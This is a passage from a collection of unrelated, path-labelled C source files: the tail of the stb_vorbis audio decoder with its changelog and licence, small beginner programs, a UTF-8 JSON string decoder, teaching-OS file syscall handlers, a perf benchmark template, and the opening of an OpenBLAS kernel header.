stb_vorbis_get_frame_float(f, NULL, &output); if (len > num_samples) len = num_samples; if (len) convert_samples_short(num_c, buffer, 0, f->channels, output, 0, len); return len; } static void convert_channels_short_interleaved(int buf_c, short* buffer, int data_c, float** data, int d_offset, int len) { int i; check_endianness(); if (buf_c != data_c && buf_c <= 2 && data_c <= 6) { assert(buf_c == 2); for (i = 0; i < buf_c; ++i) compute_stereo_samples(buffer, data_c, data, d_offset, len); } else { int limit = buf_c < data_c ? buf_c : data_c; int j; for (j = 0; j < len; ++j) { for (i = 0; i < limit; ++i) { FASTDEF(temp); float f = data[i][d_offset + j]; int v = FAST_SCALED_FLOAT_TO_INT(temp, f, 15);//data[i][d_offset+j],15); if ((unsigned int)(v + 32768) > 65535) v = v < 0 ? -32768 : 32767; *buffer++ = v; } for (; i < buf_c; ++i) *buffer++ = 0; } } } int stb_vorbis_get_frame_short_interleaved(stb_vorbis* f, int num_c, short* buffer, int num_shorts) { float** output; int len; if (num_c == 1) return stb_vorbis_get_frame_short(f, num_c, &buffer, num_shorts); len = stb_vorbis_get_frame_float(f, NULL, &output); if (len) { if (len * num_c > num_shorts) len = num_shorts / num_c; convert_channels_short_interleaved(num_c, buffer, f->channels, output, 0, len); } return len; } int stb_vorbis_get_samples_short_interleaved(stb_vorbis* f, int channels, short* buffer, int num_shorts) { float** outputs; int len = num_shorts / channels; int n = 0; int z = f->channels; if (z > channels) z = channels; while (n < len) { int k = f->channel_buffer_end - f->channel_buffer_start; if (n + k >= len) k = len - n; if (k) convert_channels_short_interleaved(channels, buffer, f->channels, f->channel_buffers, f->channel_buffer_start, k); buffer += k * channels; n += k; f->channel_buffer_start += k; if (n == len) break; if (!stb_vorbis_get_frame_float(f, NULL, &outputs)) break; } return n; } int stb_vorbis_get_samples_short(stb_vorbis* f, int channels, short** buffer, int len) { float** outputs; int n = 0; int z = f->channels; if (z > channels) z = channels; while (n < len) { int k = f->channel_buffer_end - f->channel_buffer_start; if (n + k >= len) k = len - n; if (k) convert_samples_short(channels, buffer, n, f->channels, f->channel_buffers, f->channel_buffer_start, k); n += k; f->channel_buffer_start += k; if (n == len) break; if (!stb_vorbis_get_frame_float(f, NULL, &outputs)) break; } return n; } #ifndef STB_VORBIS_NO_STDIO int stb_vorbis_decode_filename(const char* filename, int* channels, int* sample_rate, short** output) { int data_len, offset, total, limit, error; short* data; stb_vorbis* v = stb_vorbis_open_filename(filename, &error, NULL); if (v == NULL) return -1; limit = v->channels * 4096; *channels = v->channels; if (sample_rate) *sample_rate = v->sample_rate; offset = data_len = 0; total = limit; data = (short*)malloc(total * sizeof(*data)); if (data == NULL) { stb_vorbis_close(v); return -2; } for (;;) { int n = stb_vorbis_get_frame_short_interleaved(v, v->channels, data + offset, total - offset); if (n == 0) break; data_len += n; offset += n * v->channels; if (offset + limit > total) { short* data2; total *= 2; data2 = (short*)realloc(data, total * sizeof(*data)); if (data2 == NULL) { free(data); stb_vorbis_close(v); return -2; } data = data2; } } *output = data; stb_vorbis_close(v); return data_len; } #endif // NO_STDIO int stb_vorbis_decode_memory(const uint8* mem, int len, int* channels, int* sample_rate, short** output) { int data_len, offset, total, limit, error; short* data; stb_vorbis* v = stb_vorbis_open_memory(mem, len, &error, NULL); if (v == NULL) return -1; limit = v->channels * 4096; *channels = v->channels; if (sample_rate) *sample_rate = v->sample_rate; offset = data_len = 0; total = limit; data = (short*)malloc(total * sizeof(*data)); if (data == NULL) { stb_vorbis_close(v); return -2; } for (;;) { int n = stb_vorbis_get_frame_short_interleaved(v, v->channels, data + offset, total - offset); if (n == 0) break; data_len += n; offset += n * v->channels; if (offset + limit > total) { short* data2; total *= 2; data2 = (short*)realloc(data, total * sizeof(*data)); if (data2 == NULL) { free(data); stb_vorbis_close(v); return -2; } data = data2; } } *output = data; stb_vorbis_close(v); return data_len; } #endif // STB_VORBIS_NO_INTEGER_CONVERSION int stb_vorbis_get_samples_float_interleaved(stb_vorbis* f, int channels, float* buffer, int num_floats) { float** outputs; int len = num_floats / channels; int n = 0; int z = f->channels; if (z > channels) z = channels; while (n < len) { int i, j; int k = f->channel_buffer_end - f->channel_buffer_start; if (n + k >= len) k = len - n; for (j = 0; j < k; ++j) { for (i = 0; i < z; ++i) *buffer++ = f->channel_buffers[i][f->channel_buffer_start + j]; for (; i < channels; ++i) *buffer++ = 0; } n += k; f->channel_buffer_start += k; if (n == len) break; if (!stb_vorbis_get_frame_float(f, NULL, &outputs)) break; } return n; } int stb_vorbis_get_samples_float(stb_vorbis* f, int channels, float** buffer, int num_samples) { float** outputs; int n = 0; int z = f->channels; if (z > channels) z = channels; while (n < num_samples) { int i; int k = f->channel_buffer_end - f->channel_buffer_start; if (n + k >= num_samples) k = num_samples - n; if (k) { for (i = 0; i < z; ++i) memcpy(buffer[i] + n, f->channel_buffers[i] + f->channel_buffer_start, sizeof(float) * k); for (; i < channels; ++i) memset(buffer[i] + n, 0, sizeof(float) * k); } n += k; f->channel_buffer_start += k; if (n == num_samples) break; if (!stb_vorbis_get_frame_float(f, NULL, &outputs)) break; } return n; } #endif // STB_VORBIS_NO_PULLDATA_API /* Version history 1.17 - 2019-07-08 - fix CVE-2019-13217, -13218, -13219, -13220, -13221, -13222, -13223 found with Mayhem by ForAllSecure 1.16 - 2019-03-04 - fix warnings 1.15 - 2019-02-07 - explicit failure if Ogg Skeleton data is found 1.14 - 2018-02-11 - delete bogus dealloca usage 1.13 - 2018-01-29 - fix truncation of last frame (hopefully) 1.12 - 2017-11-21 - limit residue begin/end to blocksize/2 to avoid large temp allocs in bad/corrupt files 1.11 - 2017-07-23 - fix MinGW compilation 1.10 - 2017-03-03 - more robust seeking; fix negative ilog(); clear error in open_memory 1.09 - 2016-04-04 - back out 'avoid discarding last frame' fix from previous version 1.08 - 2016-04-02 - fixed multiple warnings; fix setup memory leaks; avoid discarding last frame of audio data 1.07 - 2015-01-16 - fixed some warnings, fix mingw, const-correct API some more crash fixes when out of memory or with corrupt files 1.06 - 2015-08-31 - full, correct support for seeking API (Dougall Johnson) some crash fixes when out of memory or with corrupt files 1.05 - 2015-04-19 - don't define __forceinline if it's redundant 1.04 - 2014-08-27 - fix missing const-correct case in API 1.03 - 2014-08-07 - Warning fixes 1.02 - 2014-07-09 - Declare qsort compare function _cdecl on windows 1.01 - 2014-06-18 - fix stb_vorbis_get_samples_float 1.0 - 2014-05-26 - fix memory leaks; fix warnings; fix bugs in multichannel (API change) report sample rate for decode-full-file funcs 0.99996 - bracket #include <malloc.h> for macintosh compilation by Laurent Gomila 0.99995 - use union instead of pointer-cast for fast-float-to-int to avoid alias-optimization problem 0.99994 - change fast-float-to-int to work in single-precision FPU mode, remove endian-dependence 0.99993 - remove assert that fired on legal files with empty tables 0.99992 - rewind-to-start 0.99991 - bugfix to stb_vorbis_get_samples_short by Bernhard Wodo 0.9999 - (should have been 0.99990) fix no-CRT support, compiling as C++ 0.9998 - add a full-decode function with a memory source 0.9997 - fix a bug in the read-from-FILE case in 0.9996 addition 0.9996 - query length of vorbis stream in samples/seconds 0.9995 - bugfix to another optimization that only happened in certain files 0.9994 - bugfix to one of the optimizations that caused significant (but inaudible?) errors 0.9993 - performance improvements; runs in 99% to 104% of time of reference implementation 0.9992 - performance improvement of IMDCT; now performs close to reference implementation 0.9991 - performance improvement of IMDCT 0.999 - (should have been 0.9990) performance improvement of IMDCT 0.998 - no-CRT support from Casey Muratori 0.997 - bugfixes for bugs found by Terje Mathisen 0.996 - bugfix: fast-huffman decode initialized incorrectly for sparse codebooks; fixing gives 10% speedup - found by Terje Mathisen 0.995 - bugfix: fix to 'effective' overrun detection - found by Terje Mathisen 0.994 - bugfix: garbage decode on final VQ symbol of a non-multiple - found by Terje Mathisen 0.993 - bugfix: pushdata API required 1 extra byte for empty page (failed to consume final page if empty) - found by Terje Mathisen 0.992 - fixes for MinGW warning 0.991 - turn fast-float-conversion on by default 0.990 - fix push-mode seek recovery if you seek into the headers 0.98b - fix to bad release of 0.98 0.98 - fix push-mode seek recovery; robustify float-to-int and support non-fast mode 0.97 - builds under c++ (typecasting, don't use 'class' keyword) 0.96 - somehow MY 0.95 was right, but the web one was wrong, so here's my 0.95 rereleased as 0.96, fixes a typo in the clamping code 0.95 - clamping code for 16-bit functions 0.94 - not publically released 0.93 - fixed all-zero-floor case (was decoding garbage) 0.92 - fixed a memory leak 0.91 - conditional compiles to omit parts of the API and the infrastructure to support them: STB_VORBIS_NO_PULLDATA_API, STB_VORBIS_NO_PUSHDATA_API, STB_VORBIS_NO_STDIO, STB_VORBIS_NO_INTEGER_CONVERSION 0.90 - first public release */ #endif // STB_VORBIS_HEADER_ONLY /* ------------------------------------------------------------------------------ This software is available under 2 licenses -- choose whichever you prefer. ------------------------------------------------------------------------------ ALTERNATIVE A - MIT License Copyright (c) 2017 Sean Barrett Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ------------------------------------------------------------------------------ ALTERNATIVE B - Public Domain (www.unlicense.org) This is free and unencumbered software released into the public domain. Anyone is free to copy, modify, publish, use, compile, sell, or distribute this software, either in source code form or as a compiled binary, for any purpose, commercial or non-commercial, and by any means. In jurisdictions that recognize copyright laws, the author or authors of this software dedicate any and all copyright interest in the software to the public domain. We make this dedication for the benefit of the public at large and to the detriment of our heirs and successors. We intend this dedication to be an overt act of relinquishment in perpetuity of all present and future rights to this software under copyright law. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ------------------------------------------------------------------------------ */
the_stack_data/19940.c
#include <stdio.h> #include <stdlib.h> int main(){ int i; for(i =1; i<=20; i++){ printf("%d\t", 1+ (rand() % 6)); if(i%5==0) puts(""); } return 0; }
the_stack_data/170454029.c
/* * lib/memory.c */ /* # license--start # # Copyright 2012 John Marshall # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # license--end */ #include <stdlib.h> /** * Free memory _and_ return NULL. * * This consolidates into one call the good practice of resetting * a pointer to NULL after free(). * * @param p pointer to malloc'd memory * @return NULL */ void * russ_free(void *p) { free(p); return NULL; } /** * Wrapper for malloc to support 0-sized malloc requests * (see AIX malloc()). * * @param size number of bytes * @return pointer to allocated memory */ void * russ_malloc(size_t size) { size = (size == 0) ? 1 : size; return malloc(size); }
the_stack_data/206393402.c
/* * Filename: temperature_with_heading.c * Author: Ge CHEN <[email protected]> * Date: 2015-01-30 * * exercise 1-3 * * Modify the temperature conversion program to print a heading * above the table. * */ #include <stdio.h> #include <stdlib.h> /* print Fahrenheit-Celsius table * for fahr = 0, 20, ..., 300; * floating-point version with heading */ int main() { float fahr, celsius; int lower, upper, step; lower = 0; /* lower limit of temperature table */ upper = 300; /* upper limit */ step = 20; /* step size */ fahr = lower; printf( "%5s\t%11s\n", "fahr", "celsius" ); while ( fahr <= upper ) { celsius = ( 5.0 / 9.0 ) * ( fahr - 32.0 ); printf( "%5.0f\t%10.1f\n", fahr, celsius ); fahr = fahr + step; } return EXIT_SUCCESS; }
the_stack_data/18888083.c
#include <string.h> #include <stdio.h> #include <stdint.h> #define UTF8_ACCEPT 0 #define UTF8_REJECT 12 static const uint8_t utf8d[] = { // The first part of the table maps bytes to character classes that // to reduce the size of the transition table and create bitmasks. 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, 9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9, 7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7, 7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7, 8,8,2,2,2,2,2,2,2,2,2,2,2,2,2,2, 2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2, 10,3,3,3,3,3,3,3,3,3,3,3,3,4,3,3, 11,6,6,6,5,8,8,8,8,8,8,8,8,8,8,8, // The second part is a transition table that maps a combination // of a state of the automaton and a character class to a state. 0,12,24,36,60,96,84,12,12,12,48,72, 12,12,12,12,12,12,12,12,12,12,12,12, 12, 0,12,12,12,12,12, 0,12, 0,12,12, 12,24,12,12,12,12,12,24,12,24,12,12, 12,12,12,12,12,12,12,24,12,12,12,12, 12,24,12,12,12,12,12,12,12,24,12,12, 12,12,12,12,12,12,12,36,12,36,12,12, 12,36,12,12,12,12,12,36,12,36,12,12, 12,36,12,12,12,12,12,12,12,12,12,12, }; static uint32_t inline decode(uint32_t* state, uint32_t* codep, uint32_t byte) { uint32_t type = utf8d[byte]; *codep = (*state != UTF8_ACCEPT) ? (byte & 0x3fu) | (*codep << 6) : (0xff >> type) & (byte); *state = utf8d[256 + *state + type]; return *state; } static int inline ishexnum(uint32_t c) { return (c >= '0' && c <= '9') || (c >= 'a' && c <= 'f') || (c >= 'A' && c <= 'F'); } static uint32_t inline decode_hex(uint32_t c) { if (c >= '0' && c <= '9') return c - '0'; else if (c >= 'a' && c <= 'f') return c - 'a' + 10; else if (c >= 'A' && c <= 'F') return c - 'A' + 10; return 0; // Should not happen } static int inline isLowSurrogate(uint16_t c) { return c >= 0xDC00 && c <= 0xDFFF; } static int inline isHighSurrogate(uint16_t c) { return c >= 0xD800 && c <= 0xDBFF; } // Decode, return non-zero value on error int _jstream_decode_string(uint16_t *const dest, size_t *destoff, const uint8_t *s, const uint8_t *const srcend) { uint16_t *d = dest + *destoff; uint32_t state = 0; uint32_t codepoint; int surrogate = 0; uint16_t unidata; // Optimized version of dispatch when just an ASCII char is expected #define DISPATCH_ASCII(label) {\ if (s >= srcend) {\ return -1;\ }\ codepoint = *s++;\ goto label;\ } standard: // Test end of stream while (s < srcend) { if (*s <= 127) codepoint = *s++; else if (decode(&state, &codepoint, *s++) != UTF8_ACCEPT) { if (state == UTF8_REJECT) return -1; continue; } if (codepoint == '\\') DISPATCH_ASCII(backslash) else if (codepoint <= 0xffff) *d++ = (uint16_t) codepoint; else { *d++ = (uint16_t) (0xD7C0 + (codepoint >> 10)); *d++ = (uint16_t) (0xDC00 + (codepoint & 0x3FF)); } } *destoff = d - dest; // Exit point return (state != UTF8_ACCEPT); backslash: switch (codepoint) { case '"': case '\\': case '/': *d++ = (uint16_t) codepoint; goto standard; break; case 'b': *d++ = '\b';goto standard; case 'f': *d++ = '\f';goto standard; case 'n': *d++ = '\n';goto standard; case 'r': *d++ = '\r';goto standard; case 't': *d++ = '\t';goto standard; case 'u': DISPATCH_ASCII(unicode1);;break; default: return -1; } unicode1: if (!ishexnum(codepoint)) return -1; unidata = decode_hex(codepoint) << 12; DISPATCH_ASCII(unicode2); unicode2: if (!ishexnum(codepoint)) return -1; unidata |= decode_hex(codepoint) << 8; DISPATCH_ASCII(unicode3); unicode3: if (!ishexnum(codepoint)) return -1; unidata |= decode_hex(codepoint) << 4; DISPATCH_ASCII(unicode4); unicode4: if (!ishexnum(codepoint)) return -1; unidata |= decode_hex(codepoint); *d++ = (uint16_t) unidata; if (surrogate) { if (!isLowSurrogate(unidata)) return -1; surrogate = 0; } else { if (isHighSurrogate(unidata)) { surrogate = 1; DISPATCH_ASCII(surrogate1); } else if (isLowSurrogate(unidata)) return -1; } goto standard; surrogate1: if (codepoint != '\\') return -1; DISPATCH_ASCII(surrogate2) surrogate2: if (codepoint != 'u') return -1; DISPATCH_ASCII(unicode1) }
the_stack_data/1029251.c
#include <stdio.h> int main(int argc, char * argv[]) { puts("hallo world!"); return 0; }
the_stack_data/49508.c
#include <stdlib.h> int main() { char *stack_animals[] = { "Bear", "Cat", "Dog" }; char** heap_animals = malloc(10 * sizeof(*heap_animals)); heap_animals[1] = "Dolphin"; heap_animals[3] = "Orca"; heap_animals[5] = "Whale"; return 0; }
the_stack_data/128973.c
int computeArea(int A, int B, int C, int D, int E, int F, int G, int H) { int overup, overdown, overleft, overright; int overarea; overup = D < H ? D : H; overdown = B > F ? B : F; overleft = A > E ? A : E; overright = C < G ? C : G; if (overup <= overdown || overleft >= overright) overarea = 0; else overarea = (overup - overdown) * (overright - overleft); return((D - B) * (C - A) + (H - F) * (G - E) - overarea); } int main(void) { }
the_stack_data/22012648.c
#include <semaphore.h> static void f() { {sem_t *x = SEM_FAILED;} {int(*p)(sem_t*) = sem_close;} {int(*p)(sem_t*) = sem_destroy;} {int(*p)(sem_t*restrict,int*restrict) = sem_getvalue;} {int(*p)(sem_t*,int,unsigned) = sem_init;} {sem_t*(*p)(const char*,int,...) = sem_open;} {int(*p)(sem_t*) = sem_post;} {int(*p)(sem_t*) = sem_trywait;} {int(*p)(const char*) = sem_unlink;} {int(*p)(sem_t*) = sem_wait;} } #include <time.h> static void g() { {int(*p)(sem_t*restrict,const struct timespec*restrict) = sem_timedwait;} }
the_stack_data/1250581.c
#include <linux/perf_event.h> #include <stdlib.h> #include <sys/ioctl.h> #define NOP asm volatile("nop"); #define NOP2 NOP NOP #define NOP4 NOP2 NOP2 #define NOP8 NOP4 NOP4 #define NOP16 NOP8 NOP8 #define NOP32 NOP16 NOP16 #define NOP64 NOP32 NOP32 #define NOP128 NOP64 NOP64 int main(int argc, char *argv[], char *envp[]) { int fd = atoi(getenv("group_fd")); int warmup_cnt = 0; // ##### DATA STARTS HERE ##### // ##### DATA ENDS HERE ##### loop: ioctl(fd, PERF_EVENT_IOC_RESET, PERF_IOC_FLAG_GROUP); ioctl(fd, PERF_EVENT_IOC_ENABLE, PERF_IOC_FLAG_GROUP); NOP128 if (warmup_cnt == 12) goto skip; // ##### SNIPPET STARTS HERE ##### // ##### SNIPPET ENDS HERE ##### asm volatile("fmov s1, #1.00000000"); // Marker skip: NOP128 ioctl(fd, PERF_EVENT_IOC_DISABLE, PERF_IOC_FLAG_GROUP); if (++warmup_cnt < 13) goto loop; end: return 0; }
the_stack_data/182951976.c
// Copyright 2019 The Marl Authors. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // https://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #if defined(__i386__) #include "osfiber_asm_x86.h" void marl_fiber_trampoline(void (*target)(void*), void* arg) { target(arg); } void marl_fiber_set_target(struct marl_fiber_context* ctx, void* stack, uint32_t stack_size, void (*target)(void*), void* arg) { uintptr_t* stack_top = (uintptr_t*)((uint8_t*)(stack) + stack_size); ctx->EIP = (uintptr_t)&marl_fiber_trampoline; ctx->ESP = (uintptr_t)&stack_top[-3]; stack_top[-1] = (uintptr_t)arg; stack_top[-2] = (uintptr_t)target; stack_top[-3] = 0; // No return target. } #endif // defined(__i386__)
the_stack_data/48680.c
/* { dg-require-effective-target label_values } */ a(){int**b[]={&&c};c:;}
the_stack_data/140331.c
#include <stdio.h> #include <signal.h> #include <math.h> /* HUGE_VAL is defined here */ int main(void) { double x = HUGE_VAL, y = HUGE_VAL; signal(SIGFPE, SIG_IGN); /* ignore SIGFE */ printf("Ignore signal: x * y = %e\n", x * y); signal(SIGFPE, SIG_DFL); /* default */ printf("Default signal: x * y = %e\n", x * y); return 0; }
the_stack_data/1251609.c
#include<stdio.h> #include<string.h> #include<stdlib.h> #include<malloc.h> #include<math.h> char s[5][5]; int book[5][5]; int count[5][5]; void handle(int i,int j){ int k; for(k=0;k<4;k++) count[i][k]++; for(k=0;k<4;k++) if(k!=i) count[k][j]++; } int main(){ int i,j; int sum=0; for(i=0;i<4;i++){ for(j=0;j<4;j++){ scanf("%c",&s[i][j]); if(s[i][j]=='+') handle(i,j); } getchar(); } for(i=0;i<4;i++) for(j=0;j<4;j++) if(count[i][j]%2!=0) sum++; printf("%d\n",sum); for(i=0;i<4;i++){ for(j=0;j<4;j++) if(count[i][j]%2!=0) printf("%d %d\n",i+1,j+1); } return 0; }
the_stack_data/182953425.c
#include <stdio.h> int main(void) { int n, number, triangularNumber; printf("What triangular number do you want? "); scanf ("%i", &number); triangularNumber = 0; for ( n = 1; n <= number; ++n) { triangularNumber += n; } printf("Triangular number %i is %i\n", number, triangularNumber); return 0; }
the_stack_data/37637140.c
/* * syscall_handler_fs.c * * Created on: 20 Feb 2013 * Author: matti */ #ifdef CHANGED_2 #include "proc/syscall.h" #include "kernel/thread.h" #include "vm/pagetable.h" #include "drivers/gcd.h" #include "kernel/config.h" /*close all filehandles attached to the process*/ void syscall_close_all_filehandles(process_table_t *pt) { int i; /*try to find the filehandle and close it */ for (i = 0; i < MAX_OPEN_FILES_PER_PROCESS; i++) { int filehandle = pt->filehandle[i]; if (filehandle > 0) { vfs_close(filehandle); } pt->filehandle[i] = -1; } } /*check that the process has the given filehandle */ static int check_filehandle(openfile_t filehandle, process_table_t* pt) { int i; int filehandle_found = -1; for (i = 0; i < MAX_OPEN_FILES_PER_PROCESS; i++) { if (pt->filehandle[i] == filehandle) { filehandle_found = 1; break; } } if (filehandle_found == -1) { return VFS_NOT_OPEN; } return 1; } openfile_t syscall_handle_open(const char *filename) { process_table_t *pt = get_current_process_entry(); int i; thread_table_t *t = thread_get_current_thread_entry(); pagetable_t *p = t->pagetable; char temp[CONFIG_SYSCALL_MAX_BUFFER_SIZE]; if (read_string_from_vm(p, filename, temp, VFS_PATH_LENGTH)==RETVAL_SYSCALL_HELPERS_NOK) { kprintf("Process was killed\n"); syscall_handle_exit(0); return -1; } for (i = 0; i < MAX_OPEN_FILES_PER_PROCESS; i++) { if (pt->filehandle[i] == FILEHANDLE_UNUSED) { int filehandle = vfs_open((char*) temp); if (filehandle < 0) { return filehandle; } pt->filehandle[i] = filehandle; return filehandle; } } return VFS_ERROR; } int syscall_handle_close(openfile_t filehandle) { int i; int filehandle_found = -1; /* illegal filehandle */ if (filehandle < 0) return FILEHANDLE_ILLEGAL; process_table_t *pt = get_current_process_entry(); /*try to find the filehandle and close it */ for (i = 0; i < MAX_OPEN_FILES_PER_PROCESS; i++) { if (pt->filehandle[i] == filehandle) { vfs_close(filehandle); filehandle_found = 1; pt->filehandle[i] = -1; break; } } if (filehandle_found == -1) { return VFS_NOT_OPEN; } return 0; } int syscall_handle_seek(openfile_t filehandle, int offset) { /* illegal filehandle */ if (filehandle < 0) return FILEHANDLE_ILLEGAL; process_table_t *pt = get_current_process_entry(); if (check_filehandle(filehandle, pt) == VFS_NOT_OPEN) { return VFS_NOT_FOUND; } return vfs_seek(filehandle, offset); } int syscall_handle_read(openfile_t filehandle, void *buffer, int length) { /* illegal filehandle */ if (filehandle < 0) return FILEHANDLE_ILLEGAL; char temp[CONFIG_SYSCALL_MAX_BUFFER_SIZE]; thread_table_t *t = thread_get_current_thread_entry(); pagetable_t *p = t->pagetable; process_table_t *pt = get_current_process_entry(); if (check_filehandle(filehandle, pt) == VFS_NOT_OPEN && filehandle != FILEHANDLE_STDIN) { return VFS_NOT_FOUND; } /*read from file in blocks and write to vm */ int count = 0; int to_be_read; int readed; while (count < length) { to_be_read = MIN(length-count, CONFIG_SYSCALL_MAX_BUFFER_SIZE); if (filehandle == FILEHANDLE_STDIN) { device_t *dev = device_get(YAMS_TYPECODE_TTY, 0); gcd_t *gcd = (gcd_t *) dev->generic_device; readed = gcd->read(gcd, temp, to_be_read); } else { readed = vfs_read(filehandle, temp, to_be_read); /*check for exceptions */ if (readed < 0) { return VFS_ERROR; } } if (write_data_to_vm(p, temp, buffer + count, readed)==RETVAL_SYSCALL_HELPERS_NOK) { kprintf("Process was killed\n"); syscall_handle_exit(1); return -1; } count = count + readed; if (readed < to_be_read) { break; } } return count; } int syscall_handle_write(openfile_t filehandle, const void *buffer, int length) { /* illegal filehandle */ if (filehandle < 0) return FILEHANDLE_ILLEGAL; thread_table_t *t = thread_get_current_thread_entry(); pagetable_t *p = t->pagetable; process_table_t *pt = get_current_process_entry(); char temp[CONFIG_SYSCALL_MAX_BUFFER_SIZE]; int count = 0; int readed; int written; if (check_filehandle(filehandle, pt) == VFS_NOT_OPEN && filehandle != FILEHANDLE_STDOUT) { return VFS_NOT_FOUND; } while (count < length) { readed = MIN(length-count, CONFIG_SYSCALL_MAX_BUFFER_SIZE); if (read_data_from_vm(p, buffer + count, temp, readed)==RETVAL_SYSCALL_HELPERS_NOK) { kprintf("Process was killed\n"); syscall_handle_exit(1); return -1; } if (filehandle == FILEHANDLE_STDOUT) { device_t *dev = device_get(YAMS_TYPECODE_TTY, 0); gcd_t *gcd = (gcd_t *) dev->generic_device; gcd->write(gcd, temp, readed); } else { written = vfs_write(filehandle, temp, readed); /*check if "file is full" as files have fixed sizes */ if (written < readed) { count = count + written; break; } } count = count + readed; } return count; } int syscall_handle_create(const char *filename, int size) { thread_table_t *t = thread_get_current_thread_entry(); pagetable_t *p = t->pagetable; char temp[CONFIG_SYSCALL_MAX_BUFFER_SIZE]; if (read_string_from_vm(p, filename, temp, VFS_PATH_LENGTH)==RETVAL_SYSCALL_HELPERS_NOK) { kprintf("Process was killed\n"); syscall_handle_exit(0); return -1; } if (strlen(filename) > VFS_PATH_LENGTH) { return VFS_INVALID_PARAMS; } return vfs_create(temp, size); } int syscall_handle_delete(const char *filename) { thread_table_t *t = thread_get_current_thread_entry(); pagetable_t *p = t->pagetable; char temp[CONFIG_SYSCALL_MAX_BUFFER_SIZE]; if (read_string_from_vm(p, filename, temp, VFS_PATH_LENGTH)==RETVAL_SYSCALL_HELPERS_NOK) { kprintf("Process was killed\n"); syscall_handle_exit(0); return -1; } if (strlen(filename) > VFS_PATH_LENGTH) { return VFS_INVALID_PARAMS; } return vfs_remove(temp); } #endif /* CHANGED_2 */
the_stack_data/22191.c
/*************************************************************************** Copyright (c) 2014, The OpenBLAS Project All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of the OpenBLAS project nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OPENBLAS PROJECT OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. *****************************************************************************/ /* need a new enough GCC for avx512 support */ #if (( defined(__GNUC__) && __GNUC__ >= 10 && defined(__AVX512BF16__)) || (defined(__clang__) && __clang_major__ >= 9)) #define HAVE_SBGEMV_T_ACCL_KERNEL 1 // Define micro kernels for ALPHA not ONE && BETA effective && BETA not ONE scenarios #undef ZERO_BETA #undef ONE_BETA #undef ONE_ALPHA #include "sbgemv_t_microk_cooperlake_template.c" // Define micro kernels for ALPHA not ONE && BETA as ONE scenarios #undef ZERO_BETA #define ONE_BETA 1 #undef ONE_ALPHA #include "sbgemv_t_microk_cooperlake_template.c" // Define micro kernels for ALPHA not ONE && BETA in-effective (BETA == 0) 